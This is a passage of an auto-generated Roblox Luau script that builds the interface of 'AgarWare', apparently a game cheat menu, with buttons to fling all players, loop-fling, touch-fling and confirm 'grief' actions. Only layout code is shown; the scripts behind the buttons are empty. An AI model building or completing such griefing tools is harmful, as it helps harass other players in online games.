-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow
G2L["319"] = Instance.new("Frame", G2L["30e"]);
G2L["319"]["BorderSizePixel"] = 0;
G2L["319"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["319"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["319"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["319"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["319"]["Name"] = [[TotalTimeRow]];
G2L["319"]["LayoutOrder"] = 4;
G2L["319"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TotalTimeRow.Text
G2L["31a"] = Instance.new("TextLabel", G2L["319"]);
G2L["31a"]["BorderSizePixel"] = 0;
G2L["31a"]["TextSize"] = 14;
G2L["31a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["31a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31a"]["BackgroundTransparency"] = 1;
G2L["31a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["31a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31a"]["Text"] = [[🕛 All Time: 000000]];
G2L["31a"]["Name"] = [[Text]];
G2L["31a"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow
G2L["31b"] = Instance.new("Frame", G2L["30e"]);
G2L["31b"]["BorderSizePixel"] = 0;
G2L["31b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["31b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["31b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31b"]["Name"] = [[EnlightenRow]];
G2L["31b"]["LayoutOrder"] = 4;
G2L["31b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.EnlightenRow.Text
G2L["31c"] = Instance.new("TextLabel", G2L["31b"]);
G2L["31c"]["BorderSizePixel"] = 0;
G2L["31c"]["TextSize"] = 14;
G2L["31c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["31c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31c"]["BackgroundTransparency"] = 1;
G2L["31c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["31c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31c"]["Text"] = [[🌟 Enlighten Users: 0]];
G2L["31c"]["Name"] = [[Text]];
G2L["31c"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage
G2L["31d"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["31d"]["Visible"] = false;
G2L["31d"]["Active"] = true;
G2L["31d"]["BorderSizePixel"] = 0;
G2L["31d"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["31d"]["Name"] = [[TrollPage]];
G2L["31d"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["31d"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["31d"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31d"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["31d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31d"]["ScrollBarThickness"] = 0;
G2L["31d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide
G2L["31e"] = Instance.new("Frame", G2L["31d"]);
G2L["31e"]["BorderSizePixel"] = 0;
G2L["31e"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["31e"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["31e"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["31e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31e"]["Name"] = [[TrollLeftSide]];
G2L["31e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.UIListLayout
G2L["31f"] = Instance.new("UIListLayout", G2L["31e"]);
G2L["31f"]["Padding"] = UDim.new(0, 7);
G2L["31f"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup
G2L["320"] = Instance.new("Frame", G2L["31e"]);
G2L["320"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["320"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["320"]["Size"] = UDim2.new(0, 170, 0, 122);
G2L["320"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["320"]["Name"] = [[FlingGroup]];
G2L["320"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript
G2L["321"] = Instance.new("LocalScript", G2L["320"]);
G2L["321"]["Name"] = [[FlingScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.UIListLayout
G2L["322"] = Instance.new("UIListLayout", G2L["320"]);
G2L["322"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAccentColor
G2L["323"] = Instance.new("Frame", G2L["320"]);
G2L["323"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["323"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["323"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["323"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["323"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["323"]["Name"] = [[FlingAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle
G2L["324"] = Instance.new("TextLabel", G2L["320"]);
G2L["324"]["TextWrapped"] = true;
G2L["324"]["BorderSizePixel"] = 0;
G2L["324"]["TextSize"] = 14;
G2L["324"]["TextScaled"] = true;
G2L["324"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["324"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["324"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["324"]["BackgroundTransparency"] = 0.95;
G2L["324"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["324"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["324"]["Text"] = [[Fling]];
G2L["324"]["LayoutOrder"] = 1;
G2L["324"]["Name"] = [[FlingTitle]];
G2L["324"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTitle.FlingMinimize
G2L["325"] = Instance.new("TextButton", G2L["324"]);
G2L["325"]["BorderSizePixel"] = 0;
G2L["325"]["TextSize"] = 14;
G2L["325"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["325"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["325"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["325"]["BackgroundTransparency"] = 1;
G2L["325"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["325"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["325"]["Text"] = [[-]];
G2L["325"]["Name"] = [[FlingMinimize]];
G2L["325"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow
G2L["326"] = Instance.new("Frame", G2L["320"]);
G2L["326"]["BorderSizePixel"] = 0;
G2L["326"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["326"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["326"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["326"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["326"]["Name"] = [[FlingAllRow]];
G2L["326"]["LayoutOrder"] = 10;
G2L["326"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingAllRow.FlingAllButton
G2L["327"] = Instance.new("TextButton", G2L["326"]);
G2L["327"]["TextSize"] = 14;
G2L["327"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["327"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["327"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["327"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["327"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["327"]["Text"] = [[Fling All Players]];
G2L["327"]["Name"] = [[FlingAllButton]];
G2L["327"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow
G2L["328"] = Instance.new("Frame", G2L["320"]);
G2L["328"]["BorderSizePixel"] = 0;
G2L["328"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["328"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["328"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["328"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["328"]["Name"] = [[TouchFlingRow]];
G2L["328"]["LayoutOrder"] = 2;
G2L["328"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript
G2L["329"] = Instance.new("LocalScript", G2L["328"]);
G2L["329"]["Name"] = [[TouchFlingScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingTickBox
G2L["32a"] = Instance.new("TextButton", G2L["328"]);
G2L["32a"]["TextSize"] = 14;
G2L["32a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["32a"]["Text"] = [[]];
G2L["32a"]["Name"] = [[TouchFlingTickBox]];
G2L["32a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingText
G2L["32b"] = Instance.new("TextLabel", G2L["328"]);
G2L["32b"]["BorderSizePixel"] = 0;
G2L["32b"]["TextSize"] = 14;
G2L["32b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["32b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32b"]["BackgroundTransparency"] = 1;
G2L["32b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["32b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32b"]["Text"] = [[Touch Fling]];
G2L["32b"]["Name"] = [[TouchFlingText]];
G2L["32b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow
G2L["32c"] = Instance.new("Frame", G2L["320"]);
G2L["32c"]["BorderSizePixel"] = 0;
G2L["32c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["32c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["32c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32c"]["Name"] = [[FlingTypeRow]];
G2L["32c"]["LayoutOrder"] = 5;
G2L["32c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip
G2L["32d"] = Instance.new("LocalScript", G2L["32c"]);
G2L["32d"]["Name"] = [[FlingTypeTooltip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingType
G2L["32e"] = Instance.new("TextLabel", G2L["32c"]);
G2L["32e"]["BorderSizePixel"] = 0;
G2L["32e"]["TextSize"] = 14;
G2L["32e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["32e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32e"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["32e"]["BackgroundTransparency"] = 1;
G2L["32e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["32e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32e"]["Text"] = [[Fling Mode:]];
G2L["32e"]["Name"] = [[FlingType]];
G2L["32e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeHelp
G2L["32f"] = Instance.new("TextButton", G2L["32c"]);
G2L["32f"]["TextSize"] = 14;
G2L["32f"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["32f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["32f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["32f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32f"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["32f"]["Text"] = [[?]];
G2L["32f"]["Name"] = [[FlingTypeHelp]];
G2L["32f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow
G2L["330"] = Instance.new("Frame", G2L["320"]);
G2L["330"]["BorderSizePixel"] = 0;
G2L["330"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["330"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["330"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["330"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["330"]["Name"] = [[FlingTypeDropdownRow]];
G2L["330"]["LayoutOrder"] = 6;
G2L["330"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow.FlingTypeDropdown
G2L["331"] = Instance.new("TextButton", G2L["330"]);
G2L["331"]["TextSize"] = 14;
G2L["331"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["331"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["331"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["331"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["331"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["331"]["Text"] = [[Default]];
G2L["331"]["Name"] = [[FlingTypeDropdown]];
G2L["331"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow
G2L["332"] = Instance.new("Frame", G2L["320"]);
G2L["332"]["BorderSizePixel"] = 0;
G2L["332"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["332"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["332"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["332"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["332"]["Name"] = [[LoopFlingRow]];
G2L["332"]["LayoutOrder"] = 10;
G2L["332"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow.LoopFlingButton
G2L["333"] = Instance.new("TextButton", G2L["332"]);
G2L["333"]["TextSize"] = 14;
G2L["333"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["333"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["333"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["333"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["333"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["333"]["Text"] = [[Loop Fling Players]];
G2L["333"]["Name"] = [[LoopFlingButton]];
G2L["333"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide
G2L["334"] = Instance.new("Frame", G2L["31d"]);
G2L["334"]["BorderSizePixel"] = 0;
G2L["334"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["334"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["334"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["334"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["334"]["Name"] = [[TrollRightSide]];
G2L["334"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide.UIListLayout
G2L["335"] = Instance.new("UIListLayout", G2L["334"]);
G2L["335"]["Padding"] = UDim.new(0, 7);
G2L["335"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.TopBar
G2L["336"] = Instance.new("Frame", G2L["9"]);
G2L["336"]["BorderSizePixel"] = 0;
G2L["336"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["336"]["Size"] = UDim2.new(0, 442, 0, 25);
G2L["336"]["Position"] = UDim2.new(-0, 0, 0, 0);
G2L["336"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["336"]["Name"] = [[TopBar]];


-- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript
G2L["337"] = Instance.new("LocalScript", G2L["336"]);
G2L["337"]["Name"] = [[TopBarScript]];


-- StarterGui.AgarWareGui.MainFrame.TopBar.MinimizeGUI
G2L["338"] = Instance.new("TextButton", G2L["336"]);
G2L["338"]["BorderSizePixel"] = 0;
G2L["338"]["TextSize"] = 14;
G2L["338"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["338"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["338"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["338"]["BackgroundTransparency"] = 1;
G2L["338"]["Size"] = UDim2.new(0, 25, 0, 25);
G2L["338"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["338"]["Text"] = [[-]];
G2L["338"]["Name"] = [[MinimizeGUI]];
G2L["338"]["Position"] = UDim2.new(0.99919, -25, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.TopBar.TITLE
G2L["339"] = Instance.new("TextLabel", G2L["336"]);
G2L["339"]["BorderSizePixel"] = 0;
G2L["339"]["TextSize"] = 12;
G2L["339"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["339"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["339"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["339"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["339"]["BackgroundTransparency"] = 1;
G2L["339"]["RichText"] = true;
G2L["339"]["Size"] = UDim2.new(0, 200, 0, 25);
G2L["339"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["339"]["Text"] = [[AGAR WARE | 60 fps | players: 1]];
G2L["339"]["Name"] = [[TITLE]];
G2L["339"]["Position"] = UDim2.new(0.00679, 0, 0, 0);


-- StarterGui.AgarWareGui.KeybindFrame
G2L["33a"] = Instance.new("Frame", G2L["1"]);
G2L["33a"]["ZIndex"] = 999999999;
G2L["33a"]["BorderSizePixel"] = 0;
G2L["33a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["33a"]["Size"] = UDim2.new(0, 80, 0, 88);
G2L["33a"]["Position"] = UDim2.new(0.70017, 0, 0.01856, 0);
G2L["33a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33a"]["Name"] = [[KeybindFrame]];
G2L["33a"]["BackgroundTransparency"] = 0.9;


-- StarterGui.AgarWareGui.KeybindFrame.KeybindScript
G2L["33b"] = Instance.new("LocalScript", G2L["33a"]);
G2L["33b"]["Name"] = [[KeybindScript]];


-- StarterGui.AgarWareGui.KeybindFrame.HideGUI
G2L["33c"] = Instance.new("TextButton", G2L["33a"]);
G2L["33c"]["TextSize"] = 14;
G2L["33c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33c"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33c"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["33c"]["LayoutOrder"] = 1;
G2L["33c"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33c"]["Text"] = [[Hide GUI]];
G2L["33c"]["Name"] = [[HideGUI]];


-- StarterGui.AgarWareGui.KeybindFrame.UIListLayout
G2L["33d"] = Instance.new("UIListLayout", G2L["33a"]);
G2L["33d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.KeybindFrame.LockGUI
G2L["33e"] = Instance.new("TextButton", G2L["33a"]);
G2L["33e"]["TextSize"] = 14;
G2L["33e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33e"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33e"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["33e"]["LayoutOrder"] = 2;
G2L["33e"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33e"]["Text"] = [[Lock GUI]];
G2L["33e"]["Name"] = [[LockGUI]];
G2L["33e"]["Position"] = UDim2.new(0, 0, 0.28409, 0);


-- StarterGui.AgarWareGui.KeybindFrame.VersionNumber
G2L["33f"] = Instance.new("TextButton", G2L["33a"]);
G2L["33f"]["TextWrapped"] = true;
G2L["33f"]["TextSize"] = 14;
G2L["33f"]["TextScaled"] = true;
G2L["33f"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33f"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["33f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33f"]["Size"] = UDim2.new(0, 80, 0, 15);
G2L["33f"]["LayoutOrder"] = 30;
G2L["33f"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["33f"]["Text"] = [[v2.9.1]];
G2L["33f"]["Name"] = [[VersionNumber]];
G2L["33f"]["Position"] = UDim2.new(0, 0, 1.25, 0);


-- StarterGui.AgarWareGui.KeybindFrame.DragGUI
G2L["340"] = Instance.new("TextButton", G2L["33a"]);
G2L["340"]["TextSize"] = 14;
G2L["340"]["TextColor3"] = Color3.fromRGB(154, 154, 154);
G2L["340"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["340"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["340"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["340"]["LayoutOrder"] = 3;
G2L["340"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["340"]["Text"] = [[DRAG]];
G2L["340"]["Name"] = [[DragGUI]];


-- StarterGui.AgarWareGui.KeybindFrame.BringGUI
G2L["341"] = Instance.new("TextButton", G2L["33a"]);
G2L["341"]["TextWrapped"] = true;
G2L["341"]["TextSize"] = 14;
G2L["341"]["TextScaled"] = true;
G2L["341"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["341"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["341"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["341"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["341"]["LayoutOrder"] = 2;
G2L["341"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["341"]["Text"] = [[Recenter GUI]];
G2L["341"]["Name"] = [[BringGUI]];
G2L["341"]["Position"] = UDim2.new(0, 0, 0.28409, 0);


-- StarterGui.AgarWareGui.ConfirmGriefFrame
G2L["342"] = Instance.new("Frame", G2L["1"]);
G2L["342"]["Visible"] = false;
G2L["342"]["ZIndex"] = 999999999;
G2L["342"]["BorderSizePixel"] = 0;
G2L["342"]["BackgroundColor3"] = Color3.fromRGB(0, 84, 173);
G2L["342"]["Size"] = UDim2.new(0, 135, 0, 161);
G2L["342"]["Position"] = UDim2.new(0.66486, 0, 0.2513, 0);
G2L["342"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["342"]["Name"] = [[ConfirmGriefFrame]];


-- StarterGui.AgarWareGui.ConfirmGriefFrame.UIListLayout
G2L["343"] = Instance.new("UIListLayout", G2L["342"]);
G2L["343"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.ConfirmGriefFrame.FlingConfirm
G2L["344"] = Instance.new("TextButton", G2L["342"]);
G2L["344"]["TextSize"] = 16;
G2L["344"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["344"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["344"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["344"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["344"]["LayoutOrder"] = 3;
G2L["344"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["344"]["Text"] = [[FLING PLAYER]];
G2L["344"]["Name"] = [[FlingConfirm]];


-- StarterGui.AgarWareGui.ConfirmGriefFrame.AlertConfirm
G2L["345"] = Instance.new("TextButton", G2L["342"]);
G2L["345"]["TextWrapped"] = true;
G2L["345"]["TextSize"] = 16;
G2L["345"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["345"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["345"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["345"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["345"]["LayoutOrder"] = 3;
G2L["345"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["345"]["Text"] = [[ALERT IN CHAT]];
G2L["345"]["Name"] = [[AlertConfirm]];
G2L["345"]["Position"] = UDim2.new(0, 0, 0.58065, 0);


-- StarterGui.AgarWareGui.ConfirmGriefFrame.ConfirmTimer
G2L["346"] = Instance.new("TextLabel", G2L["342"]);
G2L["346"]["TextWrapped"] = true;
G2L["346"]["TextSize"] = 14;
G2L["346"]["TextScaled"] = true;
G2L["346"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["346"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["346"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["346"]["Size"] = UDim2.new(0, 135, 0, 14);
G2L["346"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["346"]["Text"] = [[(20.0)]];
G2L["346"]["LayoutOrder"] = 10;
